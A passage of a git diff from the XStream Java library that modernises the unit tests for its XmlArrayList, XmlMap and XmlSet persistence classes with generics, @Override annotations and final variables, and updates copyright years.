testPutsAllAddsTwoItems() { - Set original = new HashSet(); - original.add("guilherme"); - original.add("silveira"); - XmlArrayList xmlList = new XmlArrayList(this.strategy); - xmlList.addAll(original); - assertEquals(2, xmlList.size()); - } - - public void testContainsASpecificValue() { - XmlArrayList xmlList = new XmlArrayList(this.strategy); - xmlList.add("guilherme"); - assertTrue(xmlList.contains("guilherme")); - } - - public void testDoesNotContainASpecificValue() { - XmlArrayList xmlList = new XmlArrayList(this.strategy); - assertFalse(xmlList.contains("zzzz")); - } - - public void testEntrySetContainsAllItems() { - Set original = new HashSet(); - original.add("guilherme"); - original.add("silveira"); - XmlArrayList xmlList = new XmlArrayList(this.strategy); - xmlList.add("guilherme"); - xmlList.add("silveira"); - assertTrue(xmlList.containsAll(original)); - } - - // actually an acceptance test? - public void testIteratesOverEntryAndChecksWithAnotherInstance() { - XmlArrayList xmlList = new XmlArrayList(this.strategy); - xmlList.add("guilherme"); - xmlList.add("silveira"); - XmlArrayList built = new XmlArrayList(this.strategy); - for (Iterator iter = xmlList.iterator(); iter.hasNext();) { - Object entry = iter.next(); - assertTrue(built.contains(entry)); - } - } - - public void testIteratesOverEntrySetContainingTwoItems() { - XmlArrayList xmlList = new XmlArrayList(this.strategy); - xmlList.add("guilherme"); - xmlList.add("silveira"); - List built = new ArrayList(); - for (Iterator iter = xmlList.iterator(); iter.hasNext();) { - Object entry = iter.next(); - built.add(entry); - } - assertEquals(xmlList, built); - } - - public void testRemovesAnItemThroughIteration() { - XmlArrayList xmlList = new XmlArrayList(this.strategy); - xmlList.add("guilherme"); - xmlList.add("silveira"); - for (Iterator iter = xmlList.iterator(); iter.hasNext();) { - Object entry = iter.next(); - if (entry.equals("guilherme")) { - iter.remove(); - } - } - assertFalse(xmlList.contains("guilherme")); - } - - private static class MockedStrategy implements PersistenceStrategy { - - private Map map = new HashMap(); - - public Iterator iterator() { - return map.entrySet().iterator(); - } - - public int size() { - return map.size(); - } - - public Object get(Object key) { - return map.get(key); - } - - public Object put(Object key, Object value) { - return map.put(key, value); - } - - public Object remove(Object key) { - return map.remove(key); - } - - } + private MockedStrategy strategy; + + @Override + public void setUp() throws Exception { + super.setUp(); + strategy = new MockedStrategy(); + } + + public void testWritesASingleObject() { + final XmlArrayList xmlList = new XmlArrayList(strategy); + xmlList.add("guilherme"); + assertTrue(strategy.map.containsValue("guilherme")); + } + + public void testWritesASingleObjectInANegativePosition() { + final XmlArrayList xmlList = new XmlArrayList(strategy); + try { + xmlList.add(-1, "guilherme"); + fail(); + } catch (final IndexOutOfBoundsException ex) { + // ok + } + } + + public void testWritesASingleObjectInFirstPosition() { + final XmlArrayList xmlList = new XmlArrayList(strategy); + xmlList.add("guilherme"); + assertTrue(strategy.map.containsKey(new Integer(0))); + } + + public void testWritesTwoObjects() { + final XmlArrayList xmlList = new XmlArrayList(strategy); + xmlList.add("guilherme"); + xmlList.add("silveira"); + assertTrue(strategy.map.containsValue("guilherme")); + assertTrue(strategy.map.containsValue("silveira")); + assertTrue(strategy.map.containsKey(new Integer(0))); + assertTrue(strategy.map.containsKey(new Integer(1))); + } + + public void testWritesTwoObjectsGuaranteesItsEnumerationOrder() { + final XmlArrayList xmlList = new XmlArrayList(strategy); + xmlList.add("guilherme"); + xmlList.add("silveira"); + assertEquals("guilherme", strategy.map.get(new Integer(0))); + assertEquals("silveira", strategy.map.get(new Integer(1))); + } + + public void testWritesASecondObjectInAPositionHigherThanTheListsSize() { + final XmlArrayList xmlList = new XmlArrayList(strategy); + try { + xmlList.add("silveira"); + xmlList.add(3, "guilherme"); + fail(); + } catch (final IndexOutOfBoundsException ex) { + // ok + } + } + + public void testRemovesAWrittenObject() { + final XmlArrayList xmlList = new XmlArrayList(strategy); + xmlList.add("guilherme"); + assertTrue(xmlList.remove("guilherme")); + assertFalse(strategy.map.containsValue("guilherme")); + } + + public void testRemovesAWrittenObjectImplyingInAChangeInTheList() { + final XmlArrayList xmlList = new XmlArrayList(strategy); + xmlList.add("guilherme"); + final boolean changed = xmlList.remove("guilherme"); + assertTrue(changed); + } + + public void testRemovesAnInvalidObjectWithoutAffectingTheList() { + final XmlArrayList xmlList = new XmlArrayList(strategy); + final boolean removed = xmlList.remove("guilherme"); + assertFalse(removed); + } + + public void testHasZeroLengthWhenInstantiated() { + final XmlArrayList xmlList = new XmlArrayList(strategy); + assertEquals(0, xmlList.size()); + } + + public void testHasOneItem() { + final XmlArrayList xmlList = new XmlArrayList(strategy); + xmlList.add("guilherme"); + assertEquals(1, xmlList.size()); + } + + public void testHasTwoItems() { + final XmlArrayList xmlList = new XmlArrayList(strategy); + xmlList.add("guilherme"); + xmlList.add("silveira"); + assertEquals(2, xmlList.size()); + } + + public void testIsNotEmpty() { + final XmlArrayList xmlList = new XmlArrayList(strategy); + xmlList.add("guilherme"); + assertFalse(xmlList.isEmpty()); + } + + public void testDoesNotContainKey() { + final XmlArrayList xmlList = new XmlArrayList(strategy); + assertFalse(xmlList.contains("guilherme")); + } + + public void testContainsKey() { + final XmlArrayList xmlList = new XmlArrayList(strategy); + xmlList.add("guilherme"); + assertTrue(xmlList.contains("guilherme")); + } + + public void testGetsAnObject() { + final XmlArrayList xmlList = new XmlArrayList(strategy); + xmlList.add("guilherme"); + final Object onlyValue = xmlList.iterator().next(); + assertEquals("guilherme", onlyValue); + } + + public void testGetsTheFirstObject() { + final XmlArrayList xmlList = new XmlArrayList(strategy); + xmlList.add("guilherme"); + assertEquals("guilherme", xmlList.get(0)); + } + + public void testGetsTheSecondObject() { + final XmlArrayList xmlList = new XmlArrayList(strategy); + xmlList.add("guilherme"); + xmlList.add("silveira"); + assertEquals("silveira", xmlList.get(1)); + } + + public void testInsertsAnObjectInTheMiddleOfTheList() { + final XmlArrayList xmlList = new XmlArrayList(strategy); + xmlList.add("guilherme"); + xmlList.add("silveira"); + xmlList.add(1, "de azevedo"); + assertEquals("guilherme", xmlList.get(0)); + assertEquals("de azevedo", xmlList.get(1)); + assertEquals("silveira", xmlList.get(2)); + } + + public void testIteratingGuaranteesItsEnumeration() { + final XmlArrayList xmlList = new XmlArrayList(strategy); + xmlList.add("guilherme"); + xmlList.add("silveira"); + final Iterator it = xmlList.iterator(); + assertEquals("guilherme", it.next()); + assertEquals("silveira", it.next()); + } + + public void testIsEmpty() { + final XmlArrayList xmlList = new XmlArrayList(strategy); + assertTrue(xmlList.isEmpty()); + } + + public void testClearsItsObjects() { + final XmlArrayList xmlList = new XmlArrayList(strategy); + xmlList.add("guilherme"); + xmlList.add("silveira"); + xmlList.clear(); + assertEquals(0, xmlList.size()); + } + + public void testPutsAllAddsTwoItems() { + final Set original = new HashSet(); + original.add("guilherme"); + original.add("silveira"); + final XmlArrayList xmlList = new XmlArrayList(strategy); + xmlList.addAll(original); + assertEquals(2, xmlList.size()); + } + + public void testContainsASpecificValue() { + final XmlArrayList xmlList = new XmlArrayList(strategy); + xmlList.add("guilherme"); + assertTrue(xmlList.contains("guilherme")); + } + + public void testDoesNotContainASpecificValue() { + final XmlArrayList xmlList = new XmlArrayList(strategy); + assertFalse(xmlList.contains("zzzz")); + } + + public void testEntrySetContainsAllItems() { + final Set original = new HashSet(); + original.add("guilherme"); + original.add("silveira"); + final XmlArrayList xmlList = new XmlArrayList(strategy); + xmlList.add("guilherme"); + xmlList.add("silveira"); + assertTrue(xmlList.containsAll(original)); + } + + // actually an acceptance test? + public void testIteratesOverEntryAndChecksWithAnotherInstance() { + final XmlArrayList xmlList = new XmlArrayList(strategy); + xmlList.add("guilherme"); + xmlList.add("silveira"); + final XmlArrayList built = new XmlArrayList(strategy); + for (Object entry : xmlList) { + assertTrue(built.contains(entry)); + } + } + + public void testIteratesOverEntrySetContainingTwoItems() { + final XmlArrayList xmlList = new XmlArrayList(strategy); + xmlList.add("guilherme"); + xmlList.add("silveira"); + final List built = new ArrayList(); + for (String entry : xmlList) { + built.add(entry); + } + assertEquals(xmlList, built); + } + + public void testRemovesAnItemThroughIteration() { + final XmlArrayList xmlList = new XmlArrayList(strategy); + xmlList.add("guilherme"); + xmlList.add("silveira"); + for (final Iterator iter = xmlList.iterator(); iter.hasNext();) { + final Object entry = iter.next(); + if (entry.equals("guilherme")) { + iter.remove(); + } + } + assertFalse(xmlList.contains("guilherme")); + } + + private static class MockedStrategy implements PersistenceStrategy { + + private final Map map = new HashMap(); + + @Override + public Iterator> iterator() { + return map.entrySet().iterator(); + } + + @Override + public int size() { + return map.size(); + } + + @Override + public V get(final Object key) { + return map.get(key); + } + + @Override + public V put(final Integer key, final V value) { + return map.put(key, value); + } + + @Override + public V remove(final Object key) { + return map.remove(key); + } + + } } diff --git a/xstream/src/test/com/thoughtworks/xstream/persistence/XmlMapTest.java b/xstream/src/test/com/thoughtworks/xstream/persistence/XmlMapTest.java index d9b8f2651..5a93fc468 100644 --- a/xstream/src/test/com/thoughtworks/xstream/persistence/XmlMapTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/persistence/XmlMapTest.java @@ -1,12 +1,12 @@ /* * Copyright (C) 2006 Joe Walnes. - * Copyright (C) 2007, 2008 XStream Committers. + * Copyright (C) 2007, 2008, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 13. June 2006 by Guilherme Silveira */ package com.thoughtworks.xstream.persistence; @@ -18,232 +18,236 @@ import junit.framework.TestCase; + public class XmlMapTest extends TestCase { - private MockedStrategy strategy; - - public void setUp() throws Exception { - super.setUp(); - strategy = new MockedStrategy(); - } - - public void testWritesASingleObject() { - XmlMap map = new XmlMap(this.strategy); - map.put("guilherme", "aCuteString"); - assertTrue(strategy.map.containsKey("guilherme")); - } - - public void testWritesTwoObjects() { - XmlMap map = new XmlMap(this.strategy); - map.put("guilherme", "aCuteString"); - map.put("silveira", "anotherCuteString"); - assertTrue(strategy.map.containsKey("guilherme")); - assertTrue(strategy.map.containsKey("silveira")); - } - - public void testRemovesAWrittenObject() { - XmlMap map = new XmlMap(this.strategy); - map.put("guilherme", "aCuteString"); - assertTrue(strategy.map.containsKey("guilherme")); - String aCuteString = (String) map.remove("guilherme"); - assertEquals("aCuteString", aCuteString); - assertFalse(strategy.map.containsKey("guilherme")); - } - - public void testRemovesAnInvalidObject() { - XmlMap map = new XmlMap(this.strategy); - String aCuteString = (String) map.remove("guilherme"); - assertNull(aCuteString); - } - - public void testHasZeroLength() { - XmlMap map = new XmlMap(this.strategy); - assertEquals(0, map.size()); - } - - public void testHasOneItem() { - XmlMap map = new XmlMap(this.strategy); - map.put("guilherme", "aCuteString"); - assertEquals(1, map.size()); - } - - public void testHasTwoItems() { - XmlMap map = new XmlMap(this.strategy); - map.put("guilherme", "aCuteString"); - map.put("silveira", "anotherCuteString"); - assertEquals(2, map.size()); - } - - public void testIsNotEmpty() { - XmlMap map = new XmlMap(this.strategy); - map.put("guilherme", "aCuteString"); - assertFalse("Map should not be empty", map.isEmpty()); - } - - public void testDoesNotContainKey() { - XmlMap map = new XmlMap(this.strategy); - assertFalse(map.containsKey("guilherme")); - } - - public void testContainsKey() { - XmlMap map = new XmlMap(this.strategy); - map.put("guilherme", "aCuteString"); - assertTrue(map.containsKey("guilherme")); - } - - public void testGetsAnObject() { - XmlMap map = new XmlMap(this.strategy); - this.strategy.map.put("guilherme", "aCuteString"); - String aCuteString = (String) map.get("guilherme"); - assertEquals("aCuteString", aCuteString); - } - - public void testGetsAnInvalidObject() { - XmlMap map = new XmlMap(this.strategy); - String aCuteString = (String) map.get("guilherme"); - assertNull(aCuteString); - } - - public void testRewritesASingleObject() { - XmlMap map = new XmlMap(this.strategy); - map.put("guilherme", "aCuteString"); - assertEquals("aCuteString", map.get("guilherme")); - map.put("guilherme", "anotherCuteString"); - assertEquals("anotherCuteString", map.get("guilherme")); - } - - public void testIsEmpty() { - XmlMap map = new XmlMap(this.strategy); - assertTrue("Map should be empty", map.isEmpty()); - } - - public void testClearsItsObjects() { - XmlMap map = new XmlMap(this.strategy); - map.put("guilherme", "aCuteString"); - map.put("silveira", "anotherCuteString"); - map.clear(); - assertEquals(0, map.size()); - } - - public void testPutsAllAddsTwoItems() { - Map original = new HashMap(); - original.put("guilherme", "aCuteString"); - original.put("silveira", "anotherCuteString"); - XmlMap map = new XmlMap(this.strategy); - map.putAll(original); - assertEquals(2, map.size()); - } - - public void testContainsASpecificValue() { - XmlMap map = new XmlMap(this.strategy); - String value = "aCuteString"; - map.put("guilherme", value); - assertTrue(map.containsValue(value)); - } - - public void testDoesNotContainASpecificValue() { - XmlMap map = new XmlMap(this.strategy); - assertFalse(map.containsValue("zzzz")); - } - - public void testEntrySetContainsAllItems() { - Map original = new HashMap(); - original.put("guilherme", "aCuteString"); - original.put("silveira", "anotherCuteString"); - Set originalSet = original.entrySet(); - XmlMap map = new XmlMap(this.strategy); - map.put("guilherme", "aCuteString"); - map.put("silveira", "anotherCuteString"); - Set set = map.entrySet(); - assertTrue(set.containsAll(originalSet)); - } - - // actually an acceptance test? - public void testIteratesOverEntryAndChecksItsKeyWithAnotherInstance() { - XmlMap map = new XmlMap(this.strategy); - map.put("guilherme", "aCuteString"); - map.put("silveira", "anotherCuteString"); - XmlMap built = new XmlMap(this.strategy); - for (Iterator iter = map.entrySet().iterator(); iter.hasNext();) { - Map.Entry entry = (Map.Entry) iter.next(); - assertTrue(built.containsKey(entry.getKey())); - } - } - - // actually an acceptance test? - public void testIteratesOverEntryAndChecksItsValueWithAnotherInstance() { - XmlMap map = new XmlMap(this.strategy); - map.put("guilherme", "aCuteString"); - map.put("silveira", "anotherCuteString"); - XmlMap built = new XmlMap(this.strategy); - for (Iterator iter = map.entrySet().iterator(); iter.hasNext();) { - Map.Entry entry = (Map.Entry) iter.next(); - assertTrue(built.containsValue(entry.getValue())); - } - } - - public void testIteratesOverEntrySetContainingTwoItems() { - XmlMap map = new XmlMap(this.strategy); - map.put("guilherme", "aCuteString"); - map.put("silveira", "anotherCuteString"); - Map built = new HashMap(); - for (Iterator iter = map.entrySet().iterator(); iter.hasNext();) { - Map.Entry entry = (Map.Entry) iter.next(); - built.put(entry.getKey(), entry.getValue()); - } - assertEquals(map, built); - } - - public void testRemovesAnItemThroughIteration() { - XmlMap map = new XmlMap(this.strategy); - map.put("guilherme", "aCuteString"); - map.put("silveira", "anotherCuteString"); - for (Iterator iter = map.entrySet().iterator(); iter.hasNext();) { - Map.Entry entry = (Map.Entry) iter.next(); - if (entry.getKey().equals("guilherme")) { - iter.remove(); - } - } - assertFalse(map.containsKey("guilherme")); - } - - public void testRewritesAObject() { - XmlMap map = new XmlMap(this.strategy); - map.put("guilherme", "aCuteString"); - map.put("guilherme", "anotherCuteString"); - assertEquals("anotherCuteString", map.get("guilherme")); - } - - public void testPutReturnsTheOldValueWhenRewritingAObject() { - XmlMap map = new XmlMap(this.strategy); - map.put("guilherme", "aCuteString"); - assertEquals("aCuteString", map.put("guilherme", "anotherCuteString")); - } - - private static class MockedStrategy implements PersistenceStrategy { - - private Map map = new HashMap(); - - public Iterator iterator() { - return map.entrySet().iterator(); - } - - public int size() { - return map.size(); - } - - public Object get(Object key) { - return map.get(key); - } - - public Object put(Object key, Object value) { - return map.put(key, value); - } - - public Object remove(Object key) { - return map.remove(key); - } - - } + private MockedStrategy strategy; + + @Override + public void setUp() throws Exception { + super.setUp(); + strategy = new MockedStrategy(); + } + + public void testWritesASingleObject() { + final XmlMap map = new XmlMap(strategy); + map.put("guilherme", "aCuteString"); + assertTrue(strategy.map.containsKey("guilherme")); + } + + public void testWritesTwoObjects() { + final XmlMap map = new XmlMap(strategy); + map.put("guilherme", "aCuteString"); + map.put("silveira", "anotherCuteString"); + assertTrue(strategy.map.containsKey("guilherme")); + assertTrue(strategy.map.containsKey("silveira")); + } + + public void testRemovesAWrittenObject() { + final XmlMap map = new XmlMap(strategy); + map.put("guilherme", "aCuteString"); + assertTrue(strategy.map.containsKey("guilherme")); + final String aCuteString = map.remove("guilherme"); + assertEquals("aCuteString", aCuteString); + assertFalse(strategy.map.containsKey("guilherme")); + } + + public void testRemovesAnInvalidObject() { + final XmlMap map = new XmlMap(strategy); + final String aCuteString = map.remove("guilherme"); + assertNull(aCuteString); + } + + public void testHasZeroLength() { + final XmlMap map = new XmlMap(strategy); + assertEquals(0, map.size()); + } + + public void testHasOneItem() { + final XmlMap map = new XmlMap(strategy); + map.put("guilherme", "aCuteString"); + assertEquals(1, map.size()); + } + + public void testHasTwoItems() { + final XmlMap map = new XmlMap(strategy); + map.put("guilherme", "aCuteString"); + map.put("silveira", "anotherCuteString"); + assertEquals(2, map.size()); + } + + public void testIsNotEmpty() { + final XmlMap map = new XmlMap(strategy); + map.put("guilherme", "aCuteString"); + assertFalse("Map should not be empty", map.isEmpty()); + } + + public void testDoesNotContainKey() { + final XmlMap map = new XmlMap(strategy); + assertFalse(map.containsKey("guilherme")); + } + + public void testContainsKey() { + final XmlMap map = new XmlMap(strategy); + map.put("guilherme", "aCuteString"); + assertTrue(map.containsKey("guilherme")); + } + + public void testGetsAnObject() { + final XmlMap map = new XmlMap(strategy); + strategy.map.put("guilherme", "aCuteString"); + final String aCuteString = map.get("guilherme"); + assertEquals("aCuteString", aCuteString); + } + + public void testGetsAnInvalidObject() { + final XmlMap map = new XmlMap(strategy); + final String aCuteString = map.get("guilherme"); + assertNull(aCuteString); + } + + public void testRewritesASingleObject() { + final XmlMap map = new XmlMap(strategy); + map.put("guilherme", "aCuteString"); + assertEquals("aCuteString", map.get("guilherme")); + map.put("guilherme", "anotherCuteString"); + assertEquals("anotherCuteString", map.get("guilherme")); + } + + public void testIsEmpty() { + final XmlMap map = new XmlMap(strategy); + assertTrue("Map should be empty", map.isEmpty()); + } + + public void testClearsItsObjects() { + final XmlMap map = new XmlMap(strategy); + map.put("guilherme", "aCuteString"); + map.put("silveira", "anotherCuteString"); + map.clear(); + assertEquals(0, map.size()); + } + + public void testPutsAllAddsTwoItems() { + final Map original = new HashMap(); + original.put("guilherme", "aCuteString"); + original.put("silveira", "anotherCuteString"); + final XmlMap map = new XmlMap(strategy); + map.putAll(original); + assertEquals(2, map.size()); + } + + public void testContainsASpecificValue() { + final XmlMap map = new XmlMap(strategy); + final String value = "aCuteString"; + map.put("guilherme", value); + assertTrue(map.containsValue(value)); + } + + public void testDoesNotContainASpecificValue() { + final XmlMap map = new XmlMap(strategy); + assertFalse(map.containsValue("zzzz")); + } + + public void testEntrySetContainsAllItems() { + final Map original = new HashMap(); + original.put("guilherme", "aCuteString"); + original.put("silveira", "anotherCuteString"); + final Set> originalSet = original.entrySet(); + final XmlMap map = new XmlMap(strategy); + map.put("guilherme", "aCuteString"); + map.put("silveira", "anotherCuteString"); + final Set> set = map.entrySet(); + assertTrue(set.containsAll(originalSet)); + } + + // actually an acceptance test? + public void testIteratesOverEntryAndChecksItsKeyWithAnotherInstance() { + final XmlMap map = new XmlMap(strategy); + map.put("guilherme", "aCuteString"); + map.put("silveira", "anotherCuteString"); + final XmlMap built = new XmlMap(strategy); + for (final Map.Entry entry : map.entrySet()) { + assertTrue(built.containsKey(entry.getKey())); + } + } + + // actually an acceptance test? + public void testIteratesOverEntryAndChecksItsValueWithAnotherInstance() { + final XmlMap map = new XmlMap(strategy); + map.put("guilherme", "aCuteString"); + map.put("silveira", "anotherCuteString"); + final XmlMap built = new XmlMap(strategy); + for (final Map.Entry entry : map.entrySet()) { + assertTrue(built.containsValue(entry.getValue())); + } + } + + public void testIteratesOverEntrySetContainingTwoItems() { + final XmlMap map = new XmlMap(strategy); + map.put("guilherme", "aCuteString"); + map.put("silveira", "anotherCuteString"); + final Map built = new HashMap(); + for (final Map.Entry entry : map.entrySet()) { + built.put(entry.getKey(), entry.getValue()); + } + assertEquals(map, built); + } + + public void testRemovesAnItemThroughIteration() { + final XmlMap map = new XmlMap(strategy); + map.put("guilherme", "aCuteString"); + map.put("silveira", "anotherCuteString"); + for (final Iterator> iter = map.entrySet().iterator(); iter.hasNext();) { + final Map.Entry entry = iter.next(); + if (entry.getKey().equals("guilherme")) { + iter.remove(); + } + } + assertFalse(map.containsKey("guilherme")); + } + + public void testRewritesAObject() { + final XmlMap map = new XmlMap(strategy); + map.put("guilherme", "aCuteString"); + map.put("guilherme", "anotherCuteString"); + assertEquals("anotherCuteString", map.get("guilherme")); + } + + public void testPutReturnsTheOldValueWhenRewritingAObject() { + final XmlMap map = new XmlMap(strategy); + map.put("guilherme", "aCuteString"); + assertEquals("aCuteString", map.put("guilherme", "anotherCuteString")); + } + + private static class MockedStrategy implements PersistenceStrategy { + + private final Map map = new HashMap(); + + @Override + public Iterator> iterator() { + return map.entrySet().iterator(); + } + + @Override + public int size() { + return map.size(); + } + + @Override + public String get(final Object key) { + return map.get(key); + } + + @Override + public String put(final String key, final String value) { + return map.put(key, value); + } + + @Override + public String remove(final Object key) { + return map.remove(key); + } + + } } diff --git a/xstream/src/test/com/thoughtworks/xstream/persistence/XmlSetTest.java b/xstream/src/test/com/thoughtworks/xstream/persistence/XmlSetTest.java index 817f53933..38b896561 100644 --- a/xstream/src/test/com/thoughtworks/xstream/persistence/XmlSetTest.java +++ b/xstream/src/test/com/thoughtworks/xstream/persistence/XmlSetTest.java @@ -1,12 +1,12 @@ /* * Copyright (C) 2006 Joe Walnes. - * Copyright (C) 2007, 2008 XStream Committers. + * Copyright (C) 2007, 2008, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 28. June 2006 by Guilherme Silveira */ package com.thoughtworks.xstream.persistence; @@ -19,188 +19,194 @@ import junit.framework.TestCase; + public class XmlSetTest extends TestCase { - private MockedStrategy strategy; - public void setUp() throws Exception { - super.setUp(); - strategy = new MockedStrategy(); - } - - public void testWritesASingleObject() { - XmlSet set = new XmlSet(this.strategy); - set.add("guilherme"); - assertTrue(strategy.map.containsValue("guilherme")); - } - - public void testWritesTwoObjects() { - XmlSet set = new XmlSet(this.strategy); - set.add("guilherme"); - set.add("silveira"); - assertTrue(strategy.map.containsValue("guilherme")); - assertTrue(strategy.map.containsValue("silveira")); - } - - public void testRemovesAWrittenObject() { - XmlSet set = new XmlSet(this.strategy); - set.add("guilherme"); - assertTrue(strategy.map.containsValue("guilherme")); - boolean changed = set.remove("guilherme"); - assertTrue(changed); - assertFalse(strategy.map.containsValue("guilherme")); - } - - public void testRemovesAnInvalidObject() { - XmlSet set = new XmlSet(this.strategy); - boolean removed= set.remove("guilherme"); - assertFalse(removed); - } - - public void testHasZeroLength() { - XmlSet set = new XmlSet(this.strategy); - assertEquals(0, set.size()); - } - - public void testHasOneItem() { - XmlSet set = new XmlSet(this.strategy); - set.add("guilherme"); - assertEquals(1, set.size()); - } - - public void testHasTwoItems() { - XmlSet set = new XmlSet(this.strategy); - set.add("guilherme"); - set.add("silveira"); - assertEquals(2, set.size()); - } - - public void testIsNotEmpty() { - XmlSet set = new XmlSet(this.strategy); - set.add("guilherme"); - assertFalse("set should not be empty", set.isEmpty()); - } - - public void testDoesNotContainKey() { - XmlSet set = new XmlSet(this.strategy); - assertFalse(set.contains("guilherme")); - } - - public void testContainsKey() { - XmlSet set = new XmlSet(this.strategy); - set.add("guilherme"); - assertTrue(set.contains("guilherme")); - } - - public void testGetsAnObject() { - XmlSet set = new XmlSet(this.strategy); - set.add("guilherme"); - Object onlyValue = set.iterator().next(); - assertEquals("guilherme", onlyValue); - } - - public void testIsEmpty() { - XmlSet set = new XmlSet(this.strategy); - assertTrue("set should be empty", set.isEmpty()); - } - - public void testClearsItsObjects() { - XmlSet set = new XmlSet(this.strategy); - set.add("guilherme"); - set.add("silveira"); - set.clear(); - assertEquals(0, set.size()); - } - - public void testPutsAllAddsTwoItems() { - Set original = new HashSet(); - original.add("guilherme"); - original.add("silveira"); - XmlSet set = new XmlSet(this.strategy); - set.addAll(original); - assertEquals(2, set.size()); - } - - public void testContainsASpecificValue() { - XmlSet set = new XmlSet(this.strategy); - set.add("guilherme"); - assertTrue(set.contains("guilherme")); - } - - public void testDoesNotContainASpecificValue() { - XmlSet set = new XmlSet(this.strategy); - assertFalse(set.contains("zzzz")); - } - - public void testEntrySetContainsAllItems() { - Set original = new HashSet(); - original.add("guilherme"); - original.add("silveira"); - XmlSet set = new XmlSet(this.strategy); - set.add("guilherme"); - set.add("silveira"); - assertTrue(set.containsAll(original)); - } - - // actually an acceptance test? - public void testIteratesOverEntryAndChecksWithAnotherInstance() { - XmlSet set = new XmlSet(this.strategy); - set.add("guilherme"); - set.add("silveira"); - XmlSet built = new XmlSet(this.strategy); - for (Iterator iter = set.iterator(); iter.hasNext();) { - Object entry = iter.next(); - assertTrue(built.contains(entry)); - } - } - - public void testIteratesOverEntrySetContainingTwoItems() { - XmlSet set = new XmlSet(this.strategy); - set.add("guilherme"); - set.add("silveira"); - Set built = new HashSet(); - for (Iterator iter = set.iterator(); iter.hasNext();) { - Object entry = iter.next(); - built.add(entry); - } - assertEquals(set, built); - } - - public void testRemovesAnItemThroughIteration() { - XmlSet set = new XmlSet(this.strategy); - set.add("guilherme"); - set.add("silveira"); - for (Iterator iter = set.iterator(); iter.hasNext();) { - Object entry = iter.next(); - if (entry.equals("guilherme")) { - iter.remove(); - } - } - assertFalse(set.contains("guilherme")); - } - - private static class MockedStrategy implements PersistenceStrategy { - - private Map map = new HashMap(); - - public Iterator iterator() { - return map.entrySet().iterator(); - } - - public int size() { - return map.size(); - } - - public Object get(Object key) { - return map.get(key); - } - - public Object put(Object key, Object value) { - return map.put(key, value); - } - - public Object remove(Object key) { - return map.remove(key); - } - - } + private MockedStrategy strategy; + + @Override + public void setUp() throws Exception { + super.setUp(); + strategy = new MockedStrategy(); + } + + public void testWritesASingleObject() { + final XmlSet set = new XmlSet(strategy); + set.add("guilherme"); + assertTrue(strategy.map.containsValue("guilherme")); + } + + public void testWritesTwoObjects() { + final XmlSet set = new XmlSet(strategy); + set.add("guilherme"); + set.add("silveira"); + assertTrue(strategy.map.containsValue("guilherme")); + assertTrue(strategy.map.containsValue("silveira")); + } + + public void testRemovesAWrittenObject() { + final XmlSet set = new XmlSet(strategy); + set.add("guilherme"); + assertTrue(strategy.map.containsValue("guilherme")); + final boolean changed = set.remove("guilherme"); + assertTrue(changed); + assertFalse(strategy.map.containsValue("guilherme")); + } + + public void testRemovesAnInvalidObject() { + final XmlSet set = new XmlSet(strategy); + final boolean removed = set.remove("guilherme"); + assertFalse(removed); + } + + public void testHasZeroLength() { + final XmlSet set = new XmlSet(strategy); + assertEquals(0, set.size()); + } + + public void testHasOneItem() { + final XmlSet set = new XmlSet(strategy); + set.add("guilherme"); + assertEquals(1, set.size()); + } + + public void testHasTwoItems() { + final XmlSet set = new XmlSet(strategy); + set.add("guilherme"); + set.add("silveira"); + assertEquals(2, set.size()); + } + + public void testIsNotEmpty() { + final XmlSet set = new XmlSet(strategy); + set.add("guilherme"); + assertFalse("set should not be empty", set.isEmpty()); + } + + public void testDoesNotContainKey() { + final XmlSet set = new XmlSet(strategy); + assertFalse(set.contains("guilherme")); + } + + public void testContainsKey() { + final XmlSet set = new XmlSet(strategy); + set.add("guilherme"); + assertTrue(set.contains("guilherme")); + } + + public void testGetsAnObject() { + final XmlSet set = new XmlSet(strategy); + set.add("guilherme"); + final Object onlyValue = set.iterator().next(); + assertEquals("guilherme", onlyValue); + } + + public void testIsEmpty() { + final XmlSet set = new XmlSet(strategy); + assertTrue("set should be empty", set.isEmpty()); + } + + public void testClearsItsObjects() { + final XmlSet set = new XmlSet(strategy); + set.add("guilherme"); + set.add("silveira"); + set.clear(); + assertEquals(0, set.size()); + } + + public void testPutsAllAddsTwoItems() { + final Set original = new HashSet(); + original.add("guilherme"); + original.add("silveira"); + final XmlSet set = new XmlSet(strategy); + set.addAll(original); + assertEquals(2, set.size()); + } + + public void testContainsASpecificValue() { + final XmlSet set = new XmlSet(strategy); + set.add("guilherme"); + assertTrue(set.contains("guilherme")); + } + + public void testDoesNotContainASpecificValue() { + final XmlSet set = new XmlSet(strategy); + assertFalse(set.contains("zzzz")); + } + + public void testEntrySetContainsAllItems() { + final Set original = new HashSet(); + original.add("guilherme"); + original.add("silveira"); + final XmlSet set = new XmlSet(strategy); + set.add("guilherme"); + set.add("silveira"); + assertTrue(set.containsAll(original)); + } + + // actually an acceptance test? + public void testIteratesOverEntryAndChecksWithAnotherInstance() { + final XmlSet set = new XmlSet(strategy); + set.add("guilherme"); + set.add("silveira"); + final XmlSet built = new XmlSet(strategy); + for (final String entry : set) { + assertTrue(built.contains(entry)); + } + } + + public void testIteratesOverEntrySetContainingTwoItems() { + final XmlSet set = new XmlSet(strategy); + set.add("guilherme"); + set.add("silveira"); + final Set built = new HashSet(); + for (final String entry : set) { + built.add(entry); + } + assertEquals(set, built); + } + + public void testRemovesAnItemThroughIteration() { + final XmlSet set = new XmlSet(strategy); + set.add("guilherme"); + set.add("silveira"); + for (final Iterator iter = set.iterator(); iter.hasNext();) { + final String entry = iter.next(); + if (entry.equals("guilherme")) { + iter.remove(); + } + } + assertFalse(set.contains("guilherme")); + } + + private static class MockedStrategy implements PersistenceStrategy { + + private final Map map = new HashMap(); + + @Override + public Iterator> iterator() { + return map.entrySet().iterator(); + } + + @Override + public int size() { + return map.size(); + } + + @Override + public String get(final Object key) { + return map.get(key); + } + + @Override + public String put(final Long key, final String value) { + return map.put(key, value); + } + + @Override + public String remove(final Object key) { + return map.remove(key); + } + + } } diff --git a/xstream/src/test/com/thoughtworks/xstream/security/WildcardTypePermissionTest.java b/xstream/src/test/com/thoughtworks/xstream/security/WildcardTypePermissionTest.java new file mode 100644 index 000000000..0bc1080f4 --- /dev/null +++ 